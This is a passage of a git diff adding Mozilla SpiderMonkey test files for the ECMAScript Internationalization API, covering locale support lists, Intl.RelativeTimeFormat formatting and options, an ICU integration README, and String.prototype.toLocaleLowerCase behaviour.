+ "en-ZM",
+ "en-ZW",
+ "eo",
+ "es",
+ "es-419",
+ "es-AR",
+ "es-BO",
+ "es-CL",
+ "es-CO",
+ "es-CR",
+ "es-CU",
+ "es-DO",
+ "es-EA",
+ "es-EC",
+ "es-ES",
+ "es-GQ",
+ "es-GT",
+ "es-HN",
+ "es-IC",
+ "es-MX",
+ "es-NI",
+ "es-PA",
+ "es-PE",
+ "es-PH",
+ "es-PR",
+ "es-PY",
+ "es-SV",
+ "es-US",
+ "es-UY",
+ "es-VE",
+ "et",
+ "et-EE",
+ "eu",
+ "eu-ES",
+ "fa",
+ "fa-AF",
+ "fa-IR",
+ "ff",
+ "ff-SN",
+ "fi",
+ "fi-FI",
+ "fr",
+ "fr-BE",
+ "fr-BF",
+ "fr-BI",
+ "fr-BJ",
+ "fr-BL",
+ "fr-CA",
+ "fr-CD",
+ "fr-CF",
+ "fr-CG",
+ "fr-CH",
+ "fr-CI",
+ "fr-CM",
+ "fr-DJ",
+ "fr-DZ",
+ "fr-FR",
+ "fr-GA",
+ "fr-GF",
+ "fr-GN",
+ "fr-GP",
+ "fr-GQ",
+ "fr-HT",
+ "fr-KM",
+ "fr-LU",
+ "fr-MA",
+ "fr-MC",
+ "fr-MF",
+ "fr-MG",
+ "fr-ML",
+ "fr-MQ",
+ "fr-MR",
+ "fr-MU",
+ "fr-NC",
+ "fr-NE",
+ "fr-PF",
+ "fr-RE",
+ "fr-RW",
+ "fr-SC",
+ "fr-SN",
+ "fr-SY",
+ "fr-TD",
+ "fr-TG",
+ "fr-TN",
+ "fr-VU",
+ "fr-YT",
+ "ga",
+ "ga-IE",
+ "gl",
+ "gl-ES",
+ "gu",
+ "gu-IN",
+ "he",
+ "he-IL",
+ "hi",
+ "hi-IN",
+ "hr",
+ "hr-BA",
+ "hr-HR",
+ "hu",
+ "hu-HU",
+ "hy",
+ "hy-AM",
+ "id",
+ "id-ID",
+ "is",
+ "is-IS",
+ "it",
+ "it-CH",
+ "it-IT",
+ "it-SM",
+ "ja",
+ "ja-JP",
+ "kk",
+ "kk-Cyrl",
+ "kk-Cyrl-KZ",
+ "km",
+ "km-KH",
+ "kn",
+ "kn-IN",
+ "ko",
+ "ko-KP",
+ "ko-KR",
+ "lt",
+ "lt-LT",
+ "lv",
+ "lv-LV",
+ "mk",
+ "mk-MK",
+ "ml",
+ "ml-IN",
+ "mr",
+ "mr-IN",
+ "nb",
+ "nb-NO",
+ "nl",
+ "nl-AW",
+ "nl-BE",
+ "nl-CW",
+ "nl-NL",
+ "nl-SR",
+ "nl-SX",
+ "nn",
+ "nn-NO",
+ "or",
+ "or-IN",
+ "pa",
+ "pa-Arab",
+ "pa-Arab-PK",
+ "pa-Guru",
+ "pa-Guru-IN",
+ "pl",
+ "pl-PL",
+ "pt",
+ "pt-AO",
+ "pt-BR",
+ "pt-CV",
+ "pt-GW",
+ "pt-MO",
+ "pt-MZ",
+ "pt-PT",
+ "pt-ST",
+ "pt-TL",
+ "rm",
+ "rm-CH",
+ "ro",
+ "ro-MD",
+ "ro-RO",
+ "ru",
+ "ru-BY",
+ "ru-KG",
+ "ru-KZ",
+ "ru-MD",
+ "ru-RU",
+ "ru-UA",
+ "si",
+ "si-LK",
+ "sk",
+ "sk-SK",
+ "sl",
+ "sl-SI",
+ "sq",
+ "sq-AL",
+ "sq-MK",
+ "sr",
+ "sr-Cyrl",
+ "sr-Cyrl-BA",
+ "sr-Cyrl-ME",
+ "sr-Cyrl-RS",
+ "sr-Latn",
+ "sr-Latn-BA",
+ "sr-Latn-ME",
+ "sr-Latn-RS",
+ "sv",
+ "sv-AX",
+ "sv-FI",
+ "sv-SE",
+ "te",
+ "te-IN",
+ "th",
+ "th-TH",
+ "tr",
+ "tr-CY",
+ "tr-TR",
+ "uk",
+ "uk-UA",
+ "vi",
+ "vi-VN",
+ "zh",
+ "zh-Hans",
+ "zh-Hans-CN",
+ "zh-Hans-HK",
+ "zh-Hans-MO",
+ "zh-Hans-SG",
+ "zh-Hant",
+ "zh-Hant-HK",
+ "zh-Hant-MO",
+ "zh-Hant-TW",
+];
+
+const result = Intl.PluralRules.supportedLocalesOf(locales);
+
+assertEqArray(locales, result);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/README.txt b/js/src/tests/non262/Intl/README.txt
new file mode 100644
index 0000000000..797b49ab5c
--- /dev/null
+++ b/js/src/tests/non262/Intl/README.txt
@@ -0,0 +1,27 @@
+Integration Tests for ECMAScript Internationalization API
+=========================================================
+
+The tests in this directory test the integration of the ICU library
+(Internationalization Components for Unicode) into the implementation of the
+ECMAScript Internationalization API in SpiderMonkey.
+
+These integration tests are complementary to:
+
+- The Test402 test suite maintained by Ecma TC39, which tests conformance of
+ an implementation to standard ECMA-402, ECMAScript Internationalization API
+ Specification. Test402 is currently maintained as part of Test262, the overall
+ conformance test suite for ECMAScript; for more information, see
+ http://wiki.ecmascript.org/doku.php?id=test262:test262
+
+- The test suite of the ICU library, which tests the implementation of ICU
+ itself and correct interpretation of the locale data it obtains from CLDR
+ (Common Locale Data Repository). For information on ICU, see
+ http://site.icu-project.org
+
+The integration tests check for a variety of locales and options whether the
+results are localized in a way that indicates correct integration with ICU.
+Such tests are somewhat fragile because the underlying locale data reflects
+real world usage and is therefore subject to change. When the ICU library used
+by Mozilla is upgraded, it is likely that some of the integration tests will
+fail because of locale data changes; however, others might fail because of
+actual software bugs. Failures therefore have to be examined carefully.
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/browser.js b/js/src/tests/non262/Intl/RelativeTimeFormat/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/browser.js
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/construct-newtarget.js b/js/src/tests/non262/Intl/RelativeTimeFormat/construct-newtarget.js
new file mode 100644
index 0000000000..c20c07434e
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/construct-newtarget.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var obj = new Intl.RelativeTimeFormat();
+
+// Test that new RTF produces an object with the right prototype.
+assertEq(Object.getPrototypeOf(obj), Intl.RelativeTimeFormat.prototype);
+
+// Test subclassing %Intl.RelativeTimeFormat% works correctly.
+class MyRelativeTimeFormat extends Intl.RelativeTimeFormat {}
+
+var obj = new MyRelativeTimeFormat();
+assertEq(obj instanceof MyRelativeTimeFormat, true);
+assertEq(obj instanceof Intl.RelativeTimeFormat, true);
+assertEq(Object.getPrototypeOf(obj), MyRelativeTimeFormat.prototype);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/cross-compartment.js b/js/src/tests/non262/Intl/RelativeTimeFormat/cross-compartment.js
new file mode 100644
index 0000000000..c826538f39
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/cross-compartment.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+var otherGlobal = newGlobal();
+
+var relativeTimeFormat = new Intl.RelativeTimeFormat();
+var ccwRelativeTimeFormat = new otherGlobal.Intl.RelativeTimeFormat();
+
+// Test Intl.RelativeTimeFormat.prototype.format with a CCW object.
+var Intl_RelativeTimeFormat_format = Intl.RelativeTimeFormat.prototype.format;
+
+assertEq(Intl_RelativeTimeFormat_format.call(ccwRelativeTimeFormat, 0, "hour"),
+ Intl_RelativeTimeFormat_format.call(relativeTimeFormat, 0, "hour"));
+
+// Test Intl.RelativeTimeFormat.prototype.resolvedOptions with a CCW object.
+var Intl_RelativeTimeFormat_resolvedOptions = Intl.RelativeTimeFormat.prototype.resolvedOptions;
+
+assertEq(deepEqual(Intl_RelativeTimeFormat_resolvedOptions.call(ccwRelativeTimeFormat),
+ Intl_RelativeTimeFormat_resolvedOptions.call(relativeTimeFormat)),
+ true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/format.js b/js/src/tests/non262/Intl/RelativeTimeFormat/format.js
new file mode 100644
index 0000000000..244dbb5c56
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/format.js
@@ -0,0 +1,145 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the format function with a diverse set of locales and options.
+
+var rtf;
+
+{
+ // Numeric format
+ rtf = new Intl.RelativeTimeFormat("en-US");
+ assertEq(rtf.format(0, "second"), "in 0 seconds");
+ assertEq(rtf.format(-0, "second"), "0 seconds ago");
+ assertEq(rtf.format(-1, "second"), "1 second ago");
+ assertEq(rtf.format(1, "second"), "in 1 second");
+
+ assertEq(rtf.format(0, "minute"), "in 0 minutes");
+ assertEq(rtf.format(-0, "minute"), "0 minutes ago");
+ assertEq(rtf.format(-1, "minute"), "1 minute ago");
+ assertEq(rtf.format(1, "minute"), "in 1 minute");
+
+ assertEq(rtf.format(0, "hour"), "in 0 hours");
+ assertEq(rtf.format(-0, "hour"), "0 hours ago");
+ assertEq(rtf.format(-1, "hour"), "1 hour ago");
+ assertEq(rtf.format(1, "hour"), "in 1 hour");
+
+ assertEq(rtf.format(0, "day"), "in 0 days");
+ assertEq(rtf.format(-0, "day"), "0 days ago");
+ assertEq(rtf.format(-1, "day"), "1 day ago");
+ assertEq(rtf.format(1, "day"), "in 1 day");
+
+ assertEq(rtf.format(0, "week"), "in 0 weeks");
+ assertEq(rtf.format(-0, "week"), "0 weeks ago");
+ assertEq(rtf.format(-1, "week"), "1 week ago");
+ assertEq(rtf.format(1, "week"), "in 1 week");
+
+ assertEq(rtf.format(0, "month"), "in 0 months");
+ assertEq(rtf.format(-0, "month"), "0 months ago");
+ assertEq(rtf.format(-1, "month"), "1 month ago");
+ assertEq(rtf.format(1, "month"), "in 1 month");
+
+ assertEq(rtf.format(0, "year"), "in 0 years");
+ assertEq(rtf.format(-0, "year"), "0 years ago");
+ assertEq(rtf.format(-1, "year"), "1 year ago");
+ assertEq(rtf.format(1, "year"), "in 1 year");
+}
+
+{
+ // Text format
+ rtf = new Intl.RelativeTimeFormat("en-US", {
+ numeric: "auto"
+ });
+ assertEq(rtf.format(0, "second"), "now");
+ assertEq(rtf.format(-0, "second"), "now");
+ assertEq(rtf.format(-1, "second"), "1 second ago");
+ assertEq(rtf.format(1, "second"), "in 1 second");
+
+ assertEq(rtf.format(0, "minute"), "this minute");
+ assertEq(rtf.format(-0, "minute"), "this minute");
+ assertEq(rtf.format(-1, "minute"), "1 minute ago");
+ assertEq(rtf.format(1, "minute"), "in 1 minute");
+
+ assertEq(rtf.format(0, "hour"), "this hour");
+ assertEq(rtf.format(-0, "hour"), "this hour");
+ assertEq(rtf.format(-1, "hour"), "1 hour ago");
+ assertEq(rtf.format(1, "hour"), "in 1 hour");
+
+ assertEq(rtf.format(0, "day"), "today");
+ assertEq(rtf.format(-0, "day"), "today");
+ assertEq(rtf.format(-1, "day"), "yesterday");
+ assertEq(rtf.format(1, "day"), "tomorrow");
+
+ assertEq(rtf.format(0, "week"), "this week");
+ assertEq(rtf.format(-0, "week"), "this week");
+ assertEq(rtf.format(-1, "week"), "last week");
+ assertEq(rtf.format(1, "week"), "next week");
+
+ assertEq(rtf.format(0, "month"), "this month");
+ assertEq(rtf.format(-0, "month"), "this month");
+ assertEq(rtf.format(-1, "month"), "last month");
+ assertEq(rtf.format(1, "month"), "next month");
+
+ assertEq(rtf.format(0, "year"), "this year");
+ assertEq(rtf.format(-0, "year"), "this year");
+ assertEq(rtf.format(-1, "year"), "last year");
+ assertEq(rtf.format(1, "year"), "next year");
+}
+
+{
+ // Plural specifier
+ rtf = new Intl.RelativeTimeFormat("en-US");
+ assertEq(rtf.format(1, "seconds"), "in 1 second");
+ assertEq(rtf.format(1, "minutes"), "in 1 minute");
+ assertEq(rtf.format(1, "hours"), "in 1 hour");
+ assertEq(rtf.format(1, "days"), "in 1 day");
+ assertEq(rtf.format(1, "weeks"), "in 1 week");
+ assertEq(rtf.format(1, "months"), "in 1 month");
+ assertEq(rtf.format(1, "years"), "in 1 year");
+}
+
+rtf = new Intl.RelativeTimeFormat("de", {numeric: "auto"});
+assertEq(rtf.format(-1, "day"), "gestern");
+assertEq(rtf.format(1, "day"), "morgen");
+
+rtf = new Intl.RelativeTimeFormat("ar", {numeric: "auto"});
+assertEq(rtf.format(-1, "day"), "أمس");
+assertEq(rtf.format(1, "day"), "غدًا");
+
+
+rtf = new Intl.RelativeTimeFormat("en-US");
+
+var weirdValueCases = [
+ Infinity,
+ -Infinity,
+ NaN,
+ "word",
+ [0,2],
+ {},
+];
+
+for (let c of weirdValueCases) {
+ assertThrowsInstanceOf(() => rtf.format(c, "year"), RangeError);
+};
+
+var weirdUnitCases = [
+ "test",
+ "SECOND",
+ "sEcOnD",
+ 1,
+ NaN,
+ undefined,
+ null,
+ {},
+];
+
+for (let u of weirdUnitCases) {
+ assertThrowsInstanceOf(function() {
+ var rtf = new Intl.RelativeTimeFormat("en-US");
+ rtf.format(1, u);
+ }, RangeError);
+};
+
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/locale-fallback-handling.js b/js/src/tests/non262/Intl/RelativeTimeFormat/locale-fallback-handling.js
new file mode 100644
index 0000000000..76917c6fa0
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/locale-fallback-handling.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// In locales that don't have a relative-date/time formatter -- and presently
+// "ak" is such a locale -- behavior is expected to fall back to the root-locale
+// formatter. This test verifies such fallback works as long as "ak" satisfies
+// these properties; "ak" may safely be changed to a different locale if that
+// ever changes. See bug 1504656.
+assertEq(new Intl.RelativeTimeFormat("ak").format(1, "second"),
+ "+1 s");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/numbering-system.js b/js/src/tests/non262/Intl/RelativeTimeFormat/numbering-system.js
new file mode 100644
index 0000000000..d9a860bb01
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/numbering-system.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Ensure passing the default numbering system leads to the same result as when
+// no explicit numbering system is present.
+//
+// This is a regression test for the ICU issue reported at
+// <https://unicode-org.atlassian.net/browse/ICU-20280>.
+
+for (var requestedLocale of [undefined, "en", "de", "fr"]) {
+ var rtf = new Intl.RelativeTimeFormat(requestedLocale);
+ var {locale, numberingSystem} = rtf.resolvedOptions();
+ var rtfNu = new Intl.RelativeTimeFormat(`${locale}-u-nu-${numberingSystem}`);
+
+ for (var unit of ["year", "quarter", "month", "week", "day", "hour", "minute", "second"]) {
+ for (var value of [-10, -3, -2, -1, 0, 1, 2, 3, 10]) {
+ assertEq(rtfNu.format(value, unit), rtf.format(value, unit));
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/numberingSystem-option.js b/js/src/tests/non262/Intl/RelativeTimeFormat/numberingSystem-option.js
new file mode 100644
index 0000000000..bbde290dfa
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/numberingSystem-option.js
@@ -0,0 +1,60 @@
+const defaultLocale = "en";
+const defaultNumberingSystem = new Intl.RelativeTimeFormat(defaultLocale).resolvedOptions().numberingSystem;
+
+function createWithLocale(locale, numberingSystem) {
+ return new Intl.RelativeTimeFormat(locale, {numberingSystem});
+}
+
+function create(numberingSystem) {
+ return createWithLocale(defaultLocale, numberingSystem);
+}
+
+// Empty string should throw.
+assertThrowsInstanceOf(() => create(""), RangeError);
+
+// Trailing \0 should throw.
+assertThrowsInstanceOf(() => create("latn\0"), RangeError);
+
+// Too short or too long strings should throw.
+assertThrowsInstanceOf(() => create("a"), RangeError);
+assertThrowsInstanceOf(() => create("toolongstring"), RangeError);
+
+// Throw even when prefix is valid.
+assertThrowsInstanceOf(() => create("latn-toolongstring"), RangeError);
+
+// |numberingSystem| can be set to |undefined|.
+let nf = create(undefined);
+assertEq(nf.resolvedOptions().numberingSystem, defaultNumberingSystem);
+
+// Unsupported numbering systems are ignored.
+nf = create("xxxxxxxx");
+assertEq(nf.resolvedOptions().numberingSystem, defaultNumberingSystem);
+
+// Numbering system in options overwrite Unicode extension keyword.
+nf = createWithLocale(`${defaultLocale}-u-nu-thai`, "arab");
+assertEq(nf.resolvedOptions().locale, defaultLocale);
+assertEq(nf.resolvedOptions().numberingSystem, "arab");
+
+// |numberingSystem| option ignores case.
+nf = create("ARAB");
+assertEq(nf.resolvedOptions().locale, defaultLocale);
+assertEq(nf.resolvedOptions().numberingSystem, "arab");
+
+for (let [numberingSystem, {algorithmic}] of Object.entries(numberingSystems)) {
+ let nf1 = new Intl.RelativeTimeFormat(`${defaultLocale}-u-nu-${numberingSystem}`);
+ let nf2 = new Intl.RelativeTimeFormat(defaultLocale, {numberingSystem});
+
+ if (!algorithmic) {
+ assertEq(nf1.resolvedOptions().numberingSystem, numberingSystem);
+ assertEq(nf2.resolvedOptions().numberingSystem, numberingSystem);
+ } else {
+ // We don't yet support algorithmic numbering systems.
+ assertEq(nf1.resolvedOptions().numberingSystem, defaultNumberingSystem);
+ assertEq(nf2.resolvedOptions().numberingSystem, defaultNumberingSystem);
+ }
+
+ assertEq(nf2.format(0, "second"), nf1.format(0, "second"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/relativetimeformat.js b/js/src/tests/non262/Intl/RelativeTimeFormat/relativetimeformat.js
new file mode 100644
index 0000000000..fb30e5a9ce
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/relativetimeformat.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the format function with a diverse set of locales and options.
+
+var rtf;
+
+rtf = new Intl.RelativeTimeFormat("en-us");
+assertEq(rtf.resolvedOptions().locale, "en-US");
+assertEq(rtf.resolvedOptions().style, "long");
+assertEq(rtf.resolvedOptions().numeric, "always");
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/shell.js b/js/src/tests/non262/Intl/RelativeTimeFormat/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/shell.js
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/supportedLocalesOf.js b/js/src/tests/non262/Intl/RelativeTimeFormat/supportedLocalesOf.js
new file mode 100644
index 0000000000..214b12570e
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/supportedLocalesOf.js
@@ -0,0 +1,373 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||xulRuntime.shell)
+// -- test in browser only that ICU has locale data for all Mozilla languages
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// This array contains the locales that ICU supports in
+// number formatting whose languages Mozilla localizes Firefox into.
+// Current as of ICU 50.1.2 and Firefox March 2013.
+var locales = [
+ "af",
+ "af-NA",
+ "af-ZA",
+ "ar",
+ "ar-001",
+ "ar-AE",
+ "ar-BH",
+ "ar-DJ",
+ "ar-DZ",
+ "ar-EG",
+ "ar-EH",
+ "ar-ER",
+ "ar-IL",
+ "ar-IQ",
+ "ar-JO",
+ "ar-KM",
+ "ar-KW",
+ "ar-LB",
+ "ar-LY",
+ "ar-MA",
+ "ar-MR",
+ "ar-OM",
+ "ar-PS",
+ "ar-QA",
+ "ar-SA",
+ "ar-SD",
+ "ar-SO",
+ "ar-SY",
+ "ar-TD",
+ "ar-TN",
+ "ar-YE",
+ "as",
+ "as-IN",
+ "be",
+ "be-BY",
+ "bg",
+ "bg-BG",
+ "bn",
+ "bn-BD",
+ "bn-IN",
+ "br",
+ "br-FR",
+ "bs",
+ "bs-Cyrl",
+ "bs-Cyrl-BA",
+ "bs-Latn",
+ "bs-Latn-BA",
+ "ca",
+ "ca-AD",
+ "ca-ES",
+ "cs",
+ "cs-CZ",
+ "cy",
+ "cy-GB",
+ "da",
+ "da-DK",
+ "de",
+ "de-AT",
+ "de-BE",
+ "de-CH",
+ "de-DE",
+ "de-LI",
+ "de-LU",
+ "el",
+ "el-CY",
+ "el-GR",
+ "en",
+ "en-150",
+ "en-AG",
+ "en-AS",
+ "en-AU",
+ "en-BB",
+ "en-BE",
+ "en-BM",
+ "en-BS",
+ "en-BW",
+ "en-BZ",
+ "en-CA",
+ "en-CM",
+ "en-DM",
+ "en-FJ",
+ "en-FM",
+ "en-GB",
+ "en-GD",
+ "en-GG",
+ "en-GH",
+ "en-GI",
+ "en-GM",
+ "en-GU",
+ "en-GY",
+ "en-HK",
+ "en-IE",
+ "en-IM",
+ "en-IN",
+ "en-JE",
+ "en-JM",
+ "en-KE",
+ "en-KI",
+ "en-KN",
+ "en-KY",
+ "en-LC",
+ "en-LR",
+ "en-LS",
+ "en-MG",
+ "en-MH",
+ "en-MP",
+ "en-MT",
+ "en-MU",
+ "en-MW",
+ "en-NA",
+ "en-NG",
+ "en-NZ",
+ "en-PG",
+ "en-PH",
+ "en-PK",
+ "en-PR",
+ "en-PW",
+ "en-SB",
+ "en-SC",
+ "en-SG",
+ "en-SL",
+ "en-SS",
+ "en-SZ",
+ "en-TC",
+ "en-TO",
+ "en-TT",
+ "en-TZ",
+ "en-UG",
+ "en-UM",
+ "en-US",
+ "en-US-posix",
+ "en-VC",
+ "en-VG",
+ "en-VI",
+ "en-VU",
+ "en-WS",
+ "en-ZA",
+ "en-ZM",
+ "en-ZW",
+ "eo",
+ "es",
+ "es-419",
+ "es-AR",
+ "es-BO",
+ "es-CL",
+ "es-CO",
+ "es-CR",
+ "es-CU",
+ "es-DO",
+ "es-EA",
+ "es-EC",
+ "es-ES",
+ "es-GQ",
+ "es-GT",
+ "es-HN",
+ "es-IC",
+ "es-MX",
+ "es-NI",
+ "es-PA",
+ "es-PE",
+ "es-PH",
+ "es-PR",
+ "es-PY",
+ "es-SV",
+ "es-US",
+ "es-UY",
+ "es-VE",
+ "et",
+ "et-EE",
+ "eu",
+ "eu-ES",
+ "fa",
+ "fa-AF",
+ "fa-IR",
+ "ff",
+ "ff-SN",
+ "fi",
+ "fi-FI",
+ "fr",
+ "fr-BE",
+ "fr-BF",
+ "fr-BI",
+ "fr-BJ",
+ "fr-BL",
+ "fr-CA",
+ "fr-CD",
+ "fr-CF",
+ "fr-CG",
+ "fr-CH",
+ "fr-CI",
+ "fr-CM",
+ "fr-DJ",
+ "fr-DZ",
+ "fr-FR",
+ "fr-GA",
+ "fr-GF",
+ "fr-GN",
+ "fr-GP",
+ "fr-GQ",
+ "fr-HT",
+ "fr-KM",
+ "fr-LU",
+ "fr-MA",
+ "fr-MC",
+ "fr-MF",
+ "fr-MG",
+ "fr-ML",
+ "fr-MQ",
+ "fr-MR",
+ "fr-MU",
+ "fr-NC",
+ "fr-NE",
+ "fr-PF",
+ "fr-RE",
+ "fr-RW",
+ "fr-SC",
+ "fr-SN",
+ "fr-SY",
+ "fr-TD",
+ "fr-TG",
+ "fr-TN",
+ "fr-VU",
+ "fr-YT",
+ "ga",
+ "ga-IE",
+ "gl",
+ "gl-ES",
+ "gu",
+ "gu-IN",
+ "he",
+ "he-IL",
+ "hi",
+ "hi-IN",
+ "hr",
+ "hr-BA",
+ "hr-HR",
+ "hu",
+ "hu-HU",
+ "hy",
+ "hy-AM",
+ "id",
+ "id-ID",
+ "is",
+ "is-IS",
+ "it",
+ "it-CH",
+ "it-IT",
+ "it-SM",
+ "ja",
+ "ja-JP",
+ "kk",
+ "kk-Cyrl",
+ "kk-Cyrl-KZ",
+ "km",
+ "km-KH",
+ "kn",
+ "kn-IN",
+ "ko",
+ "ko-KP",
+ "ko-KR",
+ "lt",
+ "lt-LT",
+ "lv",
+ "lv-LV",
+ "mk",
+ "mk-MK",
+ "ml",
+ "ml-IN",
+ "mr",
+ "mr-IN",
+ "nb",
+ "nb-NO",
+ "nl",
+ "nl-AW",
+ "nl-BE",
+ "nl-CW",
+ "nl-NL",
+ "nl-SR",
+ "nl-SX",
+ "nn",
+ "nn-NO",
+ "or",
+ "or-IN",
+ "pa",
+ "pa-Arab",
+ "pa-Arab-PK",
+ "pa-Guru",
+ "pa-Guru-IN",
+ "pl",
+ "pl-PL",
+ "pt",
+ "pt-AO",
+ "pt-BR",
+ "pt-CV",
+ "pt-GW",
+ "pt-MO",
+ "pt-MZ",
+ "pt-PT",
+ "pt-ST",
+ "pt-TL",
+ "rm",
+ "rm-CH",
+ "ro",
+ "ro-MD",
+ "ro-RO",
+ "ru",
+ "ru-BY",
+ "ru-KG",
+ "ru-KZ",
+ "ru-MD",
+ "ru-RU",
+ "ru-UA",
+ "si",
+ "si-LK",
+ "sk",
+ "sk-SK",
+ "sl",
+ "sl-SI",
+ "sq",
+ "sq-AL",
+ "sq-MK",
+ "sr",
+ "sr-Cyrl",
+ "sr-Cyrl-BA",
+ "sr-Cyrl-ME",
+ "sr-Cyrl-RS",
+ "sr-Latn",
+ "sr-Latn-BA",
+ "sr-Latn-ME",
+ "sr-Latn-RS",
+ "sv",
+ "sv-AX",
+ "sv-FI",
+ "sv-SE",
+ "te",
+ "te-IN",
+ "th",
+ "th-TH",
+ "tr",
+ "tr-CY",
+ "tr-TR",
+ "uk",
+ "uk-UA",
+ "vi",
+ "vi-VN",
+ "zh",
+ "zh-Hans",
+ "zh-Hans-CN",
+ "zh-Hans-HK",
+ "zh-Hans-MO",
+ "zh-Hans-SG",
+ "zh-Hant",
+ "zh-Hant-HK",
+ "zh-Hant-MO",
+ "zh-Hant-TW",
+];
+
+const result = Intl.RelativeTimeFormat.supportedLocalesOf(locales);
+
+assertEqArray(locales, result);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/String/shell.js b/js/src/tests/non262/Intl/String/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/String/shell.js
diff --git a/js/src/tests/non262/Intl/String/toLocaleLowerCase.js b/js/src/tests/non262/Intl/String/toLocaleLowerCase.js
new file mode 100644
index 0000000000..bd81717d22
--- /dev/null
+++ b/js/src/tests/non262/Intl/String/toLocaleLowerCase.js
@@ -0,0 +1,64 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Test language dependent special casing with different language tags.
+for (let locale of ["tr", "TR", "tr-TR", "tr-u-co-search", "tr-x-turkish"]) {
+ assertEq("\u0130".toLocaleLowerCase(locale), "i");
+ assertEq("\u0130".toLocaleLowerCase([locale]), "i");
+
+ // Additional language tags are ignored.
+ assertEq("\u0130".toLocaleLowerCase([locale, "und"]), "i");
+ assertEq("\u0130".toLocaleLowerCase(["und", locale]), "\u0069\u0307");
+}
+
+// Ensure "trl" (Traveller Scottish) isn't misrecognized as "tr", even though
+// both share the same prefix.
+assertEq("\u0130".toLocaleLowerCase("trl"), "\u0069\u0307");
+assertEq("\u0130".toLocaleLowerCase(["trl"]), "\u0069\u0307");
+
+// Language tag is always verified.
+for (let locale of ["no_locale", "tr-invalid_ext", ["no_locale"], ["en", "no_locale"]]) {
+ // Empty input string.
+ assertThrowsInstanceOf(() => "".toLocaleLowerCase(locale), RangeError);
+
+ // Non-empty input string.
+ assertThrowsInstanceOf(() => "x".toLocaleLowerCase(locale), RangeError);
+}
+
+// No locale argument, undefined as locale, and empty array or array-like all
+// return the same result. Testing with "a/A" because it has only simple case
+// mappings.
+assertEq("A".toLocaleLowerCase(), "a");
+assertEq("A".toLocaleLowerCase(undefined), "a");
+assertEq("A".toLocaleLowerCase([]), "a");
+assertEq("A".toLocaleLowerCase({}), "a");
+assertEq("A".toLocaleLowerCase({length: 0}), "a");
+assertEq("A".toLocaleLowerCase({length: -1}), "a");
+
+// Test with incorrect locale type.
+for (let locale of [null, 0, Math.PI, NaN, Infinity, true, false, Symbol()]) {
+ // Empty input string.
+ assertThrowsInstanceOf(() => "".toLocaleLowerCase([locale]), TypeError);
+
+ // Non-empty input string.
+ assertThrowsInstanceOf(() => "A".toLocaleLowerCase([locale]), TypeError);
+}
+
+// Primitives are converted with ToObject and then queried for .length property.
+for (let locale of [null]) {
+ // Empty input string.
+ assertThrowsInstanceOf(() => "".toLocaleLowerCase([locale]), TypeError);
+
+ // Non-empty input string.
+ assertThrowsInstanceOf(() => "A".toLocaleLowerCase([locale]), TypeError);
+}
+// ToLength(ToObject(<primitive>)) returns 0.
+for (let locale of [0, Math.PI, NaN, Infinity, true, false, Symbol()]) {
+ // Empty input string.
+ assertEq("".toLocaleLowerCase(locale), "");
+
+ // Non-empty input string.
